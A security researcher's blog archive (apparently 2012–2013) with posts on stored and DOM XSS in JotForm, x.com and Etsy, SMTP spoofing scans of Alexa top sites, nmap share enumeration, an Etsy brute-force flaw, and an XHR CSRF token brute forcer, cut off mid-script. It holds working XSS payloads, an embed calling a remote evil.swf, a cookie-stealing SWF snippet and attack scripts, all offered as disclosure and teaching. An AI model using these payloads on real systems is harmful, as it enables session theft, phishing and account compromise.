Tuesday, 9 April 2013

A Facebook Third Party XSS Privacy Slip-up

Back in January Facebook introduced a new feature that allowed you to send in questions to their Chief Privacy Officer, Erin Egan.

It turns out the question form contained an XSS vulnerability :)


Erin where you at?

The Facebook page was pretty straight forward, a bit of blurb and a form to submit your questions.



Here's the question form:
I assumed the question would be sent straight to Facebook but I was curious exactly how/where. Looking at the page code I saw something similar to the following:  


The form actually posted to Jotform.me, not Facebook. Looks like it's a third party plugin of some kind?


The Jotform form

To better understand what was going on I headed to Jotform.com and signed up for a free account. I created a form identical to the Facebook form and injected an XSS image payload into every field.

When I viewed my submissions page I got the following:




Looks like we've found a stored XSS vulnerability. Digging into the page code you can see that we didn't even need to break out of an attribute, html tags are just accepted and rendered! Uh oh.


To gain access to Erin's Jotform account all we'd need to do is submit a standard XSS payload through the Facebook form and wait until she views her submissions on the Jotform site. It's almost too easy.

Now the clever ones among you may have noticed the irony of this situation. By gaining access to the Facebook JotForm account we'd be able to see all of the privacy questions people submitted through the Facebook site. Essentially breaching the privacy of people's privacy questions!



Privacy breaches aside, we could also target Erin directly with social engineering, redirect her to our own malicious site with the latest Adobe/Java exploits or a phishing page. XSS is really just the first step, there are many ways we could potentially drop the pwnage.

Speaking of pwnage...


Pwning every JotForm user

Although I didn't test this, it appears that it would be trivial to exploit almost every JotForm user by simply submitting malicious post requests across multiple account IDs. Post requests are non-authenticated and sent to a predictable URL:

e.g. http://submit.jotform.me/submit/30563167563456

With a little python/perl/ruby we could easily create a script to iterate through those ID numbers.

Or to speed this up we could distribute the attack by creating a worm that used some javascript to force users into re-posting to many different IDs thus spreading the payload. Gradually we'd compromise every single JotForm user. Nice.


Preventing stored XSS

Addressing XSS is usually straight forward. Some basic filtering/encoding of quotes and brackets normally does the job. However because Jotform actually used the tags from user submissions they had decided to implement a blacklist approach to filter malicious content. While this provided some protection it was trivial to evade.

As we saw earlier they missed the image event handler. They also missed the embed tag that I mentioned in my last post:


I've only covered the obvious examples, no doubt there are many more XSS vectors lurking on JotForm :)


Conclusion

Lesson number one, never trust third parties. If they get hacked, you get hacked.

Lesson number two, don't allow the inclusion of user defined HTML, it's just asking for trouble.

Both Facebook and Jotform were notified of these issues and they have now been fixed. Thanks to both companies for the quick responses!


Pwndizzle out

Monday, 18 March 2013

Targeted Email Spoofing and the Alexa100


Today I'm going to talk about email spoofing and how it can be used to improve the quality of targeted spear phishing. I'll demonstrate a simple technique to test for potentially vulnerable SMTP servers and apply it to the Alexa top 100 sites.

Although there's nothing really original about this post after searching around it did seem there was a lack of good information and practical demonstration of this topic so hopefully this post might help fill that space.

Be warned it's a long one :)


SMTP and Email back to basics

The simple mail transfer protocol (SMTP) is the defacto way of sending email while receiving of email is performed using POP or IMAP. These services together with a sprinkle of DNS form the email system we know and love. Wikipedia had a great diagram showing how everything ties together:

You may notice there are no verification or authentication steps, which coming from a web app pentesters point of view, is a serious issue and is actually exploitable.


Back to the 90's with Telnet and SMTP

These days most people use local or web based email clients and the details of the sending process are hidden from view. However you can still connect and communicate directly with SMTP servers using a command line tool like telnet or netcat. The basic commands you'll need are HELO, MAIL FROM, RCPT TO and DATA.

Here's an example involving the mail server for a large media organisation:

  1. I greet the server with a random domain instead of my own, the server does not verify that my ip and HELO domain match. 
  2. I set the sender address (MAIL FROM), again the server doesn't verify the domain to make sure I am a test.com server. 
  3. With the RCPT command we set the recipient. The server actual performs some verification at this point. It won't let me use an external domain in the address in order to stop mail relaying by spammers. However what about sending email to an internal recipient? The test and admin addresses were unused or blocked, but by doing a quick google I found a valid employee email address. "Recipient ok". Sweet!
  4. Sender sorted, recipient sorted, now we just define our message (DATA).
  5. And finally to send you put a dot . on a line by itself. Done.         

Notice how easy it was to send a spoofed email (Email where the sender address and other parts of the email header are altered to appear as though the email originated from a different source). There was no login process, no verification of who we were and although we couldn't send email to external addresses (a.k.a Open relay), we were still free to spoof email to any employee within the organisation. Not good.


Next level spear-phishing!

So what's stopping us from spoofing email from one employee to another within the same organisation, e.g. bill@company.com to mary@company.com? If there are no mitigations on the SMTP server and no filtering on the POP server then nothing. Any external party is free to spoof email from one employee to another.

But why should you care? One big reason is spear-phishing. Spear-phishing relies on tricking users into opening attachments and following links from cleverly crafted emails. The more convincing the email the more successful the attack and what's one very easy way of making email convincing? By sending it from a legitimate address.


What about spoofing prevention?

Prevention can be performed using sender verification, reputation based systems and rate limiting. These mitigations can be applied on the SMTP server to prevent sending of malicious email or on the inbound mail gateway to filter received mail. For SMTP the site below has a great overview of securing your mail server and includes some spoofing specific protections:

http://www.vircom.com/security/top-10-tips-to-secure-your-email-server/

Mitigations in a nutshell:
  • SMTP authentication the sender will need to login before sending email. Although a solid mitigation, it's not practical/scalable for senders or receivers.
  • A reverse DNS check can be used to confirm the sending IP has a PTR record or also to check the domain name in the HELO or MAIL FROM fields matches the PTR. 
  • An SPF check can be used to verify which ip addresses are authorized to send email for a particular domain by querying for an SPF DNS record. The check can be performed on the IP/HELO/MAIL FROM.
  • DKIM provides a way to digitally sign messages. Receivers pull the public key from DNS to verify the sender. It applies to the header/body of the message but not the SMTP envelope.
  • Monitor inbound mail for externally sourced email using your @yourdomain. Sometimes companies will have external offices/employees using the company email so you may need to do some whitelisting.
Unfortunately these mitigations aren't always implemented because legitimate email can get blocked if the sender has no rDNS/SPF/DKIM setup or if someone tries to send corporate email from a home/thirdparty ip address. See thread here:

http://ask.slashdot.org/story/11/10/13/1643202/ask-slashdot-is-reverse-dns-a-worthy-standard-for-fighting-spam

Every company has different priorities and will choose to balance security and functionality differently. However even if the checks above aren't stringently enforced to block email, the rDNS/SPF/DKIM results can be combined to evaluate email (as spam filters do today).

Monitoring and filtering of emails that try to spoof your company's own domain (e.g. joe@company.com to mary@company.com) can easily be implemented on an email gateway and can give a decent security gain with minimal service impact.


...is this real life?

Lets take a look at some of these preventions in real life.

Facebook


Before I got the chance to enter any commands Facebook performed a reverse DNS lookup on my IP. On my home internet connection my ISP has not defined a PTR record for my IP, so the check fails and the connection is dropped.

Ebay


My IP was on a blacklist so before i could enter any commands Ebay closed the connection. Time to change IP!

Google


Google didn't appear to force any checks on the SMTP server, instead they seemed to focus on clever filtering on the receiving end:


The Gmail spam filter is pretty complex taking into account multiple factors. Interestingly SPF is taken into account but not required for an email to be classed as legit. In the valid email above you can see some of the checks being performed. This link has more info: http://support.google.com/mail/bin/answer.py?hl=en&ctx=mail&answer=1366858&expand=5 


Spoofed Example:


I received a spoofed message from bbc.co.uk and Gmail sent the message to the spam folder. The "neutral" error message was quite interesting. Looking at the BBC SPF record:


We can see they whitelist some legitimate ranges which is good, but notice the ?all on the end. This means any email using @bbc.co.uk not from those ranges is marked as neutral but still accepted by the receiver. Softfail (~all) would be more effective at catching spoofed messages as they are rejected by default. The best option would be deny all (-all) strictly defining who is allowed to send mail from "@bbc.co.uk".

Related to Gmail spoofing is the awesome story of the guy who cracked Google's DKIM allowing him to spoof email to Google addresses, worth a read: http://www.wired.com/threatlevel/2012/10/dkim-vulnerability-widespread/all/

So those are some of the big guys. But what about everyone else? What about the average corporate mail server, does it use protection..?


Spoofing the Alexa Top 100

I was curious how many companies were open to spoofing so I created a simple test script that would connect to a server, supply an invalid HELO and a spoofed MAIL FROM using that company's domain. As most mitigations should have kicked in by this point, if you receive a "Sender ok" chances are the server will send your spoofed mail.

And what better place to test this script than the Alexa Top 100!

1. Creating a list of mail servers

I first compiled a list of the Alexa Top 100 mail servers using a bit of curl/grep/nslookup magic.

for i in `seq 0 3`; do host=$(curl -s "http://www.alexa.com/topsites/global;$i"|grep "<span class=\"small topsites-label\">"|cut -d ">" -f2|cut -d "<" -f1);for j in $host; do mx=$(nslookup -query=mx $j|grep 'mail exchanger'|cut -d " " -f5|sed 's/\.$//g');for k in $mx; do echo $j $k >> mxlist;done;done;done;

This will output a file containing a list of domains and corresponding mail servers, one per line.

Note: Most companies have multiple SMTP servers. This script will return ALL of the mail servers.


2. Script to spoof servers

I created a python script to test for servers that would accept a bogus HELO and spoofed MAIL FROM using their own domain.

#!/usr/bin/python

import socket
import time
 
helo = "HELO test.com\r\n"
fname = "/mxlist"

lines = [line.strip() for line in open(fname)]

for i in lines:
 
 site = i.split(' ')
 mailfrom = "MAIL FROM: <pwned@" + site[0] + ">\r\n"
 
 try:
  socket.setdefaulttimeout(7)
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((site[1], 25))
  print site[0], "***",
  print s.recv(1024).rstrip(), "***",
  s.send(helo)
  print s.recv(1024).rstrip(), "***",
  s.send(mailfrom)
  print s.recv(1024).rstrip(), "***"
  s.send("quit\r\n")
  s.close()
 except Exception, e:
  print i + "***" + str(e) 


There's a lot of ways you could output the data, I decided to just print out the domain and responses from the SMTP server separated by *** for easy splitting in Excel.

If you modify the script remember to include the \r\n after each command. Without it the SMTP server won't respond. This had me stumped for quite a while until I spotted the missing 0d0a using wireshark ;)

I chose to use raw python to get more granularity. You may want to consider using smtplib:

http://www.tutorialspoint.com/python/python_sending_email.htm

And for you Ruby fans out there:

https://defuse.ca/email-spoofing-in-ruby.htm


3. Analyzing the results

In the Alexa100 there are approximately 330 mail servers covering 74 unique companies. Why only 74? A number of companies such as Google, Amazon, Microsoft and Yahoo have multiple sites in the top100. For example Yahoo has, yahoo.com, yahoo.co.jp and flickr.com.

Then there's also the issue of the mail provider. 33 of the top 100 domains are either Google owned or companies that use Google mail or Postini (also Google). Microsoft as well as Netflix and Dailymotion use Microsoft's Bigfish email service. The four Amazon sites use the same Amazon mail servers, the three Yahoo sites use Yahoo mail servers and two sites, t.co (Twitter) and hao123.com (Baidu), use mail servers on their main domains.

With most sites also using multiple mail servers the analysis started to melt my brain somewhat. In the end I decided to start with a list of all the mail servers:


And here's a chart of just the top 100 sites showing potentially spoofable sites:


At first glance it looks like two thirds of the sites can be spoofed, but how accurate are the results?

Well one of the biggest flaws with my script is that the check is inconclusive. Without actually sending and receiving the email there's no way to know whether the company is using any mitigations or filters to stop spoofed messages.

Also Google makes up a large chunk of the servers. In my testing although Google SMTP servers allowed spoofing their inbound filtering correctly identified my messages as spam, so I'd class Google as spoof proof(?). No doubt there are ways around the Google filters but it's something I'll save for another post ;)

To try and improve the reliability of results I also took a look at the Alexa top 200.

Even accounting for Google, the number of spoofable sites appears to be quite high. As mentioned it's not a full proof technique but I do believe it's a useful indicator. Although I was not able to manually test every company, I did test three large companies and my spoofed messages were received successfully. Unfortunately I can't say who they were as I don't want to get sued :)

So the big question is have companies accepted/partially mitigated the spoofing risk and moved on, or are they blissfully unaware of the risks and simple mitigations that can have a big impact?


Conclusion

I started this post knowing next to nothing about email spoofing. Through research and testing I've found it interesting to see just how many companies deploy relatively liberal SMTP policies.

Often security mitigations are black and white but in the case of spoofing it's more grey because of the risk of blocking legitimate mail. Although at the moment spoofing hasn't been a big priority I believe it's something people are going to be focusing on more in the future. Especially as systems become more secure and attackers transition further into social engineering.

If you work for one of the Alexa 200 affected let your CIO know he needs to update his mail servers or at least switch to Gmail ;)

I hope you guys have found this useful, as usual questions, comments (and corrections!) are always welcome.

Pwndizzle

Saturday, 23 February 2013

Stored XSS in X.com Using Embed


Back in December I came across a stored XSS vulnerability in x.com. I was unfortunately too slow in my reporting and was beaten to it by Subho Halder. It was quite funny as he plastered the site with his own swf file to demonstrate the vulnerability.

This is a quick post covering the vulnerability and how it was exploited.


<EMBED>

When it comes to sites that allow direct modification of html, the likelihood of XSS can go up massively. In the case of x.com they used a home-grown (or what appeared to be home-grown) comment system for their forum that let you edit the HTML of your comments. Although there were some protections in place to stop you inserting <script>, <object> and <applet> tags, they did allow you to use <img> and <embed>.

Note: For more info on tags and insertion of malicious code I found the following URL really useful:
http://www.technicalinfo.net/papers/CSS.html

I first tried <img> based XSS and it worked when previewing the post but when actually posting the onerror was stripped.

Preview:















Actual:



Instead of trying to find a filter bypass I decided to take a look at the embed tag.


Our friend the SWF file

Some of you may have read my previous post on SWF analysis where i looked at exploiting an SWF for XSS:

http://pwndizzle.blogspot.com/2012/10/xss-using-flash-swf-google-xss.html

In that post I focused on exploiting a poorly built SWF, however we can just build a malicious SWF that contains a javascript payload. Subho's SWF can be found here:

www.subhohalder.com/xysecteam.swf

Using SWFScan to analyse the file its really easy to spot the exploit code he used:

public static function main ()
{
    var __callResult_20 = getURL("javascript:alert(\"XYSEC TEAM
\"+document.cookie+\"
\"+document.domain)", "_self");
}

Looking up getURL from the Adobe site:
Loads a document from a specific URL into a window or passes variables to another application at a defined URL.

So we could grab a payload from a remote site or to perform XSS we could use "javascript:" which simply runs javascript locally in the browser in the security context of the current site.

And to deploy our SWF as a stored XSS attack all we need to do is embed our malicious content in a comment:
<embed allowscriptaccess="always" src="http://mysite.com/evil.swf" height=1 width=1></embed>

The allowscriptaccess parameter allows our remote script to communicate with the domain in which its embedded and I've used height=1 and width=1 to effectively make it invisible.

Whenever anyone viewed the comment the remote SWF would be loaded and they would be pwned XSS style, sweet!


Final Thoughts

Allowing users to edit HTML on your site can be a risky feature. Script, applet, object, iframe, image and embed tags need to be carefully filtered to prevent abuse. In this case it was a lack of SWF filtering that allowed us to use the embed tag for stored XSS.

Congrats to Subho for reporting this before me, his site can be found here: http://subhohalder.com/


Pwndizzle out

Saturday, 9 February 2013

Parsing Nmap smb-enum-shares Output

This is quick post about the Nmap smb-enum-shares script.

http://nmap.org/nsedoc/scripts/smb-enum-shares.html

I wanted to track down open shares on a /16 and was having some difficulty parsing the results. I did some googling but couldn't find any help. In the end a grep/awk one liner saved the day and that's what I'll be talking about.


Pew pew with nmap scripts

Before I delve into smb-enum-shares I wanted to big up one of my favourite posts about nmap scripts by Matt at AttackVector.org:

http://www.attackvector.org/favorite-nmap-nse-scripts/

He covers some of the most useful scripts http-enum, smb-check-vulns, smb-enum-users to name a few, and also looks at handling the output using some perl kungfu. The one script he missed out though was smb-enum-shares!


Your company and its shares

From a defensive perspective open shares are a pain in the ass. It can be difficult preventing users from creating shares, difficult to manage permissions and difficult to classify what information should/shouldn't be shared. Not to mention the risks of SMB and pass the hash.


Removing local admin rights, properly enforcing GPOs, using a host based firewall/ips or a document repository can help but there's always going to be some folks who slip by. This is where nmap and smb-enum-shares comes in. To find open shares just run the following:

nmap -T4 -v -oA myshares --script smb-enum-shares --script-args smbuser=pwndizzle,smbpass=mypassword -p445 192.168.1.1-255

Replacing the ip range and domain creds as necessary.

The nmap grepable format and xml format are usually easy to manipulate either on the command line or with Excel. However when you run the smb-enum-shares script the output isn't uniform and in my case I had such a large data set it was proving difficult to filter effectively.

Below is a demo output, notice the variety of data and the way it is spread over multiple lines:

Nmap scan report for 192.168.3.1
Host is up (0.0024s latency).
PORT    STATE  SERVICE
445/tcp closed microsoft-ds

Nmap scan report for server1.company.local (192.168.3.66)
Host is up (0.023s latency).
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-enum-shares: 
|   ADMIN$
|     Anonymous access: <none>
|     Current user ('pwndizzle') access: <none>
|   SecretShare
|     Anonymous access: <none>
|     Current user ('pwndizzle') access: READ/WRITE
|   C$
|     Anonymous access: <none>
|     Current user ('pwndizzle') access: <none>
|   IPC$
|     Anonymous access: READ <not a file share>
|_    Current user ('pwndizzle') access: READ <not a file share>


For two machines it's easy to understand. How about if you had 2000 machines? Not so easy :)



Bring on the Grep, Awk, Sed

My aim was to get a list of IP's and associated shares. No doubt there's a million and one ways to do this with different linux utilities, perl or python and the different nmap outputs. The simplest technique I could find was using a bit of awk/grep to parse the data from the basic nmap output file (.nmap):

cat sharescan.nmap|grep '|\|192'|awk '/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/ { line=$0 } /\|/ { $0 = line $0}1'|grep \||grep -v -E '(smb-enum-shares|access: <none>|ADMIN\$|C\$|IPC\$|U\$|access: READ)'|awk '{ sub(/Nmap scan report for /, ""); print }'
  • I first selected only the lines that contain an ip or a pipe character (lines with shares)
  • Then, as the share and ip are on different lines we select the ip column and copy it in front of the share lines.
  • We do some more grepping to remove unneeded nmap output and default shares.
  • And finally we perform a substitution to remove the starting text.

Here's the final output:


As either an attacker or defender you've now got yourself a clear list of shares that may contain sensitive information.

Regarding the one-liner, there are one or two points to note:
  • There are probably better ways to implement this! I'm no awk/sed master.
  • You'll need to change the "192" to fit your network.
  • By excluding shares we might actually exclude something we want to see.
  • When scanning you need to use valid AD credentials for the best results.
  • Although the nmap script output says READ,READ/WRITE, I didn't always find this was accurate. Often readable shares, well, weren't readable. However you may want to remove the "access: READ" exclusion as this also filters WRITE folders which can be pretty handy!

Although it hasn't been the focus of this post, the smb-enum-shares script can verily easily be used for network wide pass the hash and remote access testing. There's a great blog post about this by Zeknox here:



Final thoughts

Although often seen as an offensive tool, Nmap's ability to provide a quick view of your assets and running services make it an awesome tool for attackers and defenders alike.

Network wide scans are extremely quick, it's analyzing the results that actually takes some time. But with a little manipulation you can usually speed this process up. And when it comes to manipulation you can't get better than grep/awk/sed!

Also if anyone can come up with a simpler one liner let me know! ;)

Pwndizzle over and out

Saturday, 12 January 2013

Etsy Brute Force Counter Reset Flaw

Continuing my work with Etsy today I'm going to be talking about their login page and a brute force protection gone wrong.


Got brute force?

Everyone knows what brute force is so I'll keep this bit brief. In the context of credential brute forcing, the basic idea is to find valid username/password combinations by sending multiple requests to a login page and examining the responses. This is easy enough to perform by loading the login POST request into Burp Intruder, choosing variables, selecting your word lists and pressing start.

But what about mitigations? These days most web developers are wise to this type of attack and implement measures such as lock-outs, captchas and rate limiting to prevent brute force.


Getting around mitigations

There's always a way around mitigations and brute force is no exception. Spreading the attack across multiple accounts, using multiple ip addresses or rate limiting your requests can avoid lock outs and captcha's can be solved in an automated way with something like Tesseract.

And for all of the above subtle differences in responses from the server can sometimes offer important clues. Things like:
  • Size of reponse
  • HTTP response codes
  • How long it takes to receive response
  • Content of response
While tackling mitigations head on is possible often a little thinking outside the box can go a long way. Given that we can control the speed, order and content of our messages to the server is there some way to perform brute force and not trigger the mitigations?


A Case Study: Etsy.com

Etsy uses two mitigations to stop automated brute force. First up a throttling mechanism that kicks in after 20 incorrect logins. This is performed on a per ip basis and starts off using a 10 second delay (maybe increasing later). Although not as secure as a lock out/captcha, it still does a good job of slowing our brute force attack significantly.

 As we hit 20 requests we see the 10 second delay start.


The second mitigation is the use of a captcha after 20 failed logins.



As blocking is performed on a per ip basis, we could try a distributed attack. For example by using a hundred different addresses we could increase our maximum 20 requests to 2000 requests before being throttled/captcha-ed.

Realistically though 2000 requests isn't enough and although possible, getting hold of a hundred addresses (or a botnet) wouldn't be easy, not to mention having to deal with the captcha! Perhaps we can find another technique?


Breaking the lockout

Something I haven't mentioned is what happens when you login successfully.

To test the effect of a successful login I sent a series of incorrect logins (which triggered the throttling) followed by a correct login request and then more incorrect logins. Looking over the results I was surprised to see that as soon as the legitimate request was received by the server my requests were no longer being throttled and I wasn't required to enter captcha!

Below is the output from Burp:

Sending 20 incorrect logins causes the throttling to kick in (first red circle). I sent a legit request in my browser and the throttling was removed (second red circle). Also 2-3 second delays were caused by the free version of Burp Intruder :)


So it turns out Etsy used a server-side failed login counter that was reset any time you logged in successfully. All an attacker would need to do is send 19 bad requests followed by one good request and they would never have to deal with the throttling or captcha. Job done.


Final Thoughts

Brute force is an age old attack vector that often works just as well today as it did 20 years ago simply because authentication techniques have not moved with the times.

In this instance we've seen how just one logic flaw allowed us to side step all of the mitigations. A lack of defense in depth meant that once we had bypassed the failed login counter we were free to brute force to our hearts content.

Thanks again to Etsy for their swift response and fix!

PwnDizzle over and out.


P.S. I've got a new twitter account! Add me as a friend, follow me, tweet me, etc. @pwndizzle

Friday, 14 December 2012

DOM Based XSS in Etsy


I recently found a DOM based XSS vulnerability in the Registry search function on Etsy.com and thought I'd do a quick write up.


What is DOM based XSS?

DOM based XSS (In this article I'll abreviate to DBX) is slightly different to regular XSS in that we are targeting the underlying Javascript used on the client-side instead of reflecting our attack off some server-side function. The end goal is however the same, typically the execution of malicious Javascript within the trusted domain of the target site.

Usually to find DBX vulnerabilities we need to trace the input and output of client-side Javascript functions and find data flows with poor (or non-existent) input validation. Manual code analysis is possible but it's far quicker and easier to use an automated tool such as Dominator.

Dominator is implemented using a modified version of Firefox and will dynamically test pages as you browse. It specifically looks for sources and sinks, essentially where input data goes in and where it comes out. For data flows that are potentially vulnerable Dominator will give you a warning and a step by step view of how exactly the data is being processed. It's then down to you to pick apart the output to figure out if it can actually be exploited or not.

You can get a free trial of Dominator Pro at the official site here:

https://dominator.mindedsecurity.com/

Although there are multiple places where DBX vulnerabilities can appear, today I'm going to be looking at the handy little search box suggestion drop-down.


The humble suggestion function...

The search box suggestion menu is a staple function in most modern web sites. You enter some text in a search box and it gives you a set of suggestions back.

Me searching for a new dress on Etsy. (I ended up buying the hot pink dress ;) )

In the background there's a clever piece of Javascript running that detects when the input changes, dynamically processes the input and sends back suggestions. It's a useful function but does it validate my input?


Enter Dominator!

As mentioned before Dominator will break down the Javascript functions on the page and figure out where the sources and sinks are. Any time we can control a potentially sensitive sink Dominator will produce an alert and show us how our data is being processed.

How can we use this information to exploit a search field? Rather conveniently Stefano (the creator of Dominator) produced a handy tutorial here:

http://www.youtube.com/watch?v=f_It469LUFM

With Stefano's suggestions in mind I took a look at Etsy.com and came across the Registry suggestion field here:

http://www.etsy.com/registry

This field unsecurely used the search input and was vulnerable to DBX. I forgot to take a picture of the *actual* vulnerable code but here is equivalent code that is used for the main Etsy search function. Check it out:


Dominator tells us how our input data is manipulated as it passes through the javascript in the background. I started off by typing 'abc' in the search box and as you can see a replace function removed carriage returns, the input was made lowercase then concatenated with other strings and added to the page.

What's missing? Input validation! According to this input processing path, not once are special characters removed or replaced.


How can we exploit this?

Ideally we'd like to insert some malicious javascript in the page. How about inserting a sneaky iframe containing javascript?

<iframe/onload=alert("XSS")>

Simply inserting this code into the search box won't work as the output is still inside various quotation marks and HTML tags. Looking down the screenshot above, the bottom part shows our finished html that will be written to the page. In this code you'll notice two possible injection points, the first is by the span tags, the second is in the list object's data-value.

The first injection point actually had some additional checks but the second injection point didn't. So to exploit we just close off the quote for the data-value, close off the list tag and then insert our iframe.

a"</li><iframe/onload=alert("XSS")>

Entering this query into the search box would successfully lead to exploitation.  

Although I didn't review the code, I believe the main search box isn't vulnerable because of two mitigations. The first is that if your query contains special character such as slashes, quotes or brackets, the search box redirects you to a default text "find shop names containing" which prevents usage of the suggestion function. The second mitigation involves a maximum length on the suggestion. If your input is too long you will no longer be given suggestions.


Final Thoughts

This vulnerability yet again demonstrates the importance of using proper input validation for ALL inputs. Even in 2012 (almost 2013!) developers are still missing the basics it seems.

DBX is an interesting attack vector that's not as well known or researched as regular XSS partly due to the difficulty of dynamically analysing Javascript. Dominator has really filled a gap in the market providing both attackers and defenders with a way to detect potential DBX vulnerabilities. Props to Stefano for making such an awesome tool.

Lastly I want to give a shout out to Etsy for a quick response/fix as well as the bounty!

Cheers,

The PwnDizzler

Tuesday, 4 December 2012

CSRF Token Brute Force Using XHR

In my last post I mentioned I had been working on a client-side XHR based CSRF token brute forcer. In this post I'm going to talk in-depth about the script I've developed, how it performs compared to other techniques and the limitations I encountered.

Previously I covered the basics of CSRF and demo'ed two iframe based brute force scripts. The posts can be found here:

http://pwndizzle.blogspot.com/2012/11/back-to-basics-csrf.html

And here:

http://pwndizzle.blogspot.com/2012/11/client-side-csrf-token-brute-forcing.html


CSRF token brute forcing: IFRAME vs XHR

Having already introduced client-side CSRF token brute forcing in my previous post I'm going to jump straight into how techniques using iframes and XHR compare with each other.

Fundamentally iframes and xhr are completely different things. Iframes provide a way to embed content in a page. In the previous examples however we used them as a way to send hundreds of arbitrary requests to a third party without leaving the current page. Although iframes can do this, they were never optimised for it.

XMLHttpRequest on the other hand was created as a way to send/receive arbitrary data. The granularity offered by XHR allows greater control of the connection and greater efficiency when it comes to brute forcing.


Doesn't Same Origin Policy prevent Cross-Domain Requests?

I meant to cover this in the previous post but didn't have time. The short answer is no.

Iframes by design are allowed to load cross domain content but browser's prevent cross domain interaction between the page and the iframe. It is still possible to send a request through an iframe (for CSRF), we just can't see the response.

One of the most interesting attacks involving iframes is click-jacking, where we embed a legitimate site within a malicious page we control and trick the user into interacting with the embedded page. Wikipedia:

http://en.wikipedia.org/wiki/Clickjacking

Most large sites now implement the x-frame-options header to prevent framing of content. If a server responds with the x-frame-options header set to DENY, the browser will not render the content. Lets compare the response headers of Facebook and Amazon:

Facebook homepage, notice the X-Frame-Options header.

Amazon homepage, no X-Frame-Options header!


As you can see below the Amazon main page is open to click jacking.



Anyhow I'm getting a bit off topic, back to XHR! XHR like any other browser request is subject to the usual restrictions, by default cross domain requests are allowed but responses are never rendered. There are some exceptions of course such as scripts, CSS, images and CORS.

But for CSRF though, the important point is that browsers allow you to send cross domain requests. You can't see responses but in a CSRF attack you don't care about responses!

For more information on XHR its worth checking out:



Lets build a brute forcer!

Following on from my previous work I decided to write a XHR-based CSRF token brute forcer to see if I could speed up the brute force process. I had a search around on Google and couldn't find a CSRF token brute force script that used XHR, so I decided to write my own.

1. XHR Code

I started off with some basic XHR code. Shreeraj Shah covers a simple XHR CSRF example here:

http://shreeraj.blogspot.com/2011/11/csrf-with-json-leveraging-xhr-and-cors_28.html

var xhr = new XMLHttpRequest();
var url = 'http://192.168.1.124/submit.php';
xhr.open('POST',url, true);
xhr.setRequestHeader('Accept', 'text/javascript, text/html, application/xml, text/xml, */*');
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.withCredentials='true';
var datas = 'name=a&phone=b';
xhr.send(datas);

It's pretty self explanatory, we create our XHR connection object, set basic request parameters with open, define extra headers, create the data string we want to send and send it.

Shreeraj's example includes the withCredentials method to ensure our request would use the user's cookie when sent and he also sets the content-type to plain text. The site I was testing against required me to use a content-type of "application/x-www-form-urlencoded" and didn't enforce preflight checks so I changed this parameter.


2. Iteration To Send Multiple Requests

Just like the previous brute forcers I also found setInterval and setTimeout to be the quickest way to send and control XHR. I configured setInterval to repeatedly call a function containing the XHR connection code. SetTimeout stops setInterval after a specified time period and outputs the finished message to the screen.

I used a set of global variables to maintain the current state of the attack, each new request would use the current values and increment them. I did try using a FOR loop to spam requests but I found Chrome throttled the requests to one per second.

var task = setInterval("openXHR();", 1);

setTimeout("clearInterval(task);document.getElementById('done').innerText ='Finished'", 1000); 

I created some funky incrementing code to allow iteration through number or letter arrays and also to allow arbitrary positioning of variables. No doubt this can be cleaned up a bit.


3. Maximizing Throughput: A Balancing Act

I played around quite a bit with different ways to increase the throughput. This was a careful balancing act between the number of connections, the number of requests being sent to the connections and how fast connections could be established and pulled down.


  • Multiple XHR Objects
The first idea I had to increase throughput was using multiple XHR objects. Browsers usually allow 6 concurrent connections to the same site so why not create 6 XHR objects to work in parralel? Multiple connections working in parallel means more requests per second right? Kinda.

I discovered Chrome would use the same connection for sending multiple requests provided you gave it enough time for each request to receive a response. If you start forcing requests down the same connection Chrome opens new connections. So it turns out you don't really need to use multiple objects, with a single XHR object Chrome automatically runs at maximum speed.


Using an interval of 50ms Chrome will use a single connection (src port)


With an interval of 10ms Chrome opens a new connection for each request

(For attacking sites locally multiple XHR objects will give you a speed increase as responses are received a lot quicker. However when you try this with a remote site the latency causes requests to start backing up and this technique no longer works.)


  • Aborting connections after the request
Requests were typically taking 10ms to establish a connection, 1ms to send data and 10ms to wait for the confirmation ACK. To prevent the browser waiting for a response I tried using the abort method. My aim was to close the connection as soon as the request was sent as this would free up one of the browser's concurrent connection slots.









Typical timings for a request (see Time column)

I tested this by performing xhr.send followed by a call to a wait function, then xhr.abort. This technique worked but was not as fast as I had hoped and capped out around 40 requests per second.






Using the abort method we send a FIN after our request is sent

As you can see from the packet capture, the abort method sends a FIN to gracefully close the connection and the connection stays open waiting for a FIN ACK. Compared to our initial run its no faster. Ideally we want to close the connection as quickly as possible so would rather send an RST packet but I couldn't find a way to do this :(


  • Keeping it simple?!?
Often the simplest solution is the best solution so I tried using a single XHR object and just sending requests as fast as possible using setInterval with a 1 millisecond wait. Interestingly this produced the highest throughput per second, around 60 requests per second.


Spamming requests!

The catch with this technique is that its unreliable. You will often lose packets as you are trying to send data when no connection slot is free. Using an interval of just 1 millisecond I sometimes saw losses of up to 75%. The interval can be adjusted according to how reliable you need the attack to be.


4. The Finished Product

Putting everything together here's the final code for the brute forcer:

<html>
<body>
<div id="a">Sending request: <output id="result"></output></br>
<div>NOTE: Browser requests sent != Actual requests sent (Check wireshark)</div>
<output id="done"></output></div>

<script>
//Create XHR objects
var xhr1 = new XMLHttpRequest();
var xhr2 = new XMLHttpRequest();

//Global variables
var url = 'http://192.168.1.124/submit.php';
var numbers = new Array("0","1","2","3","4","5","6","7","8","9");
var alphabet = new Array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
var i=0;
var j=0;
var k=0;
var l=0;
var m=0;

//Simple wait function
function tea_break(msec) { 
 var date = new Date(); 
 var curDate = null; 
 do { curDate = new Date(); } 
 while(curDate - date < msec); }

//Function to send a request using current parameters
function openXHR(){
 
 xhr1.open('POST',url, true);
 xhr1.setRequestHeader('Accept', 'text/javascript, text/html, application/xml, text/xml, */*');
 xhr1.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
 xhr1.withCredentials='true';
 var data1 = 'name=a&phone=b&email=c&csrf=' + numbers[j] + numbers[k] + numbers[l] + numbers[m];
 xhr1.send(data1);
 //***Optional wait and abort
 //tea_break(5);
 //xhr.abort();
 //Screen output
 document.getElementById('result').innerText = "" + j + k + l + m;
 
 //***Optional second XHR object
 //xhr2.open('POST',url, true);
 //xhr2.setRequestHeader('Accept', 'text/javascript, text/html, application/xml, text/xml, */*');
